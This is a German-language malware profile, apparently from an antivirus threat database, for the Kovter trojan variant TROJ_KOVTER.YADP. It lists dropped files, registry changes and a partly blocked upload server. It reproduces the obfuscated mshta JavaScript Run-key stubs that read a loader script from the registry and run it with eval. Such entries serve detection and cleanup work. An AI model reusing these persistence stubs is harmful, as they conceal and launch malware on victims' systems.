TROJ_KOVTER.YADP

Wird möglicherweise von anderer Malware/Grayware/Spyware von externen Sites heruntergeladen.

Verbindet sich mit einer bestimmten Website, um Daten zu versenden und zu empfangen.

Übertragungsdetails

Wird möglicherweise von anderer Malware/Grayware/Spyware von externen Sites heruntergeladen.

Installation

Schleust die folgenden Dateien ein:

• %Application Data%\{random string}\{random}.lnk - link to Batch file
• %Application Data%\{random string}\{random}.bat - starts Encrypted file
• %Application Data%\{random string}\{random}.{random} - Encrypted file

(Hinweis: %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000, XP und Server 2003.)

Schleust die folgenden Eigenkopien in das betroffene System ein:

• %Application Data%\{random string}\{random string}.exe

(Hinweis: %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000, XP und Server 2003.)

Erstellt die folgenden Ordner:

• %Application Data%\{random string}

(Hinweis: %Application Data% ist der Ordner 'Anwendungsdaten' für den aktuellen Benutzer, normalerweise C:\Windows\Profile\{Benutzername}\Anwendungsdaten unter Windows 98 und ME, C:\WINNT\Profile\{Benutzername}\Anwendungsdaten unter Windows NT und C:\Dokumente und Einstellungen\{Benutzername}\Lokale Einstellungen\Anwendungsdaten unter Windows 2000, XP und Server 2003.)

Injiziert Code in die folgenden Prozesse:

• regsvr32.exe

Autostart-Technik

Fügt folgende Registrierungseinträge hinzu, um bei jedem Systemstart automatisch ausgeführt zu werden.

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(default) = ""C:\WINDOWS\system32\mshta.exe" javascript:NNz6V0CG="iKaSv5Y";o7v8=new%20ActiveXObject("WScript.Shell");nlE84vzX="3c2g";qK5zB9=o7v8.RegRead("HKCU\software\{Random String 2}\{Random String 4}");Byo7Ers="TIBUOl";eval(qK5zB9);S23ZTrQx="Bym";"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
(Default) = ""%Application Data%\{random string}\{random}.lnk""

Andere Systemänderungen

Fügt die folgenden Registrierungseinträge als Teil der Installationsroutine hinzu:

HKEY_CLASSES_ROOT\{Random String 1}

HKEY_CURRENT_USER\Software\{Random String 2}

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = {data}

HKEY_CURRENT_USER\Software\{Random String 2}
{random string} = "%Application Data%\{random string}\{random}.exe"

HKEY_CLASSES_ROOT\{Random String 1}\shell\
open\command
(Default) = ""C:\WINDOWS\system32\mshta.exe" "javascript:Ohd3Evj="WD";ap0=new ActiveXObject("WScript.Shell");beSwO9="IUi";sZO08Q=ap0.RegRead("HKCU\software\{Random String 2}\{Random String 4}");uExW6Y5M="2";eval(sZO08Q);Iq82jsDO="d99Pmz";""

HKEY_CURRENT_USER\Software\{Random String 2}
{Random String 3} = {Encrypted Data}

HKEY_CURRENT_USER\Software\{Random String 2}
{Random String 4} = {Loader Script}

HKEY_LOCAL_MACHINE\Software\{Random String 2}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E; InfoPath.2)"

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = {data}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{random string} = "%Application Data%\{random string}\{random}.exe"

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{Random String 3} = {Encrypted Data}

HKEY_LOCAL_MACHINE\Software\{Random String 2}
{Random String 4} = {Loader Script}

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
regsvr32.exe = 000022b8

HKEY_CURRENT_USER\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
iexplore.exe = 000022b8

HKEY_LOCAL_MACHINE\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
regsvr32.exe = 000022b8

HKEY_LOCAL_MACHINE\Software\Microsoft\
Internet Explorer\Main\FeatureControl\
FEATURE_BROWSER_EMULATION
iexplore.exe = 000022b8

Andere Details

Verbindet sich mit der folgenden Website, um Daten zu versenden und zu empfangen:

• http://{BLOCKED}.{BLOCKED}.72.90/upload.php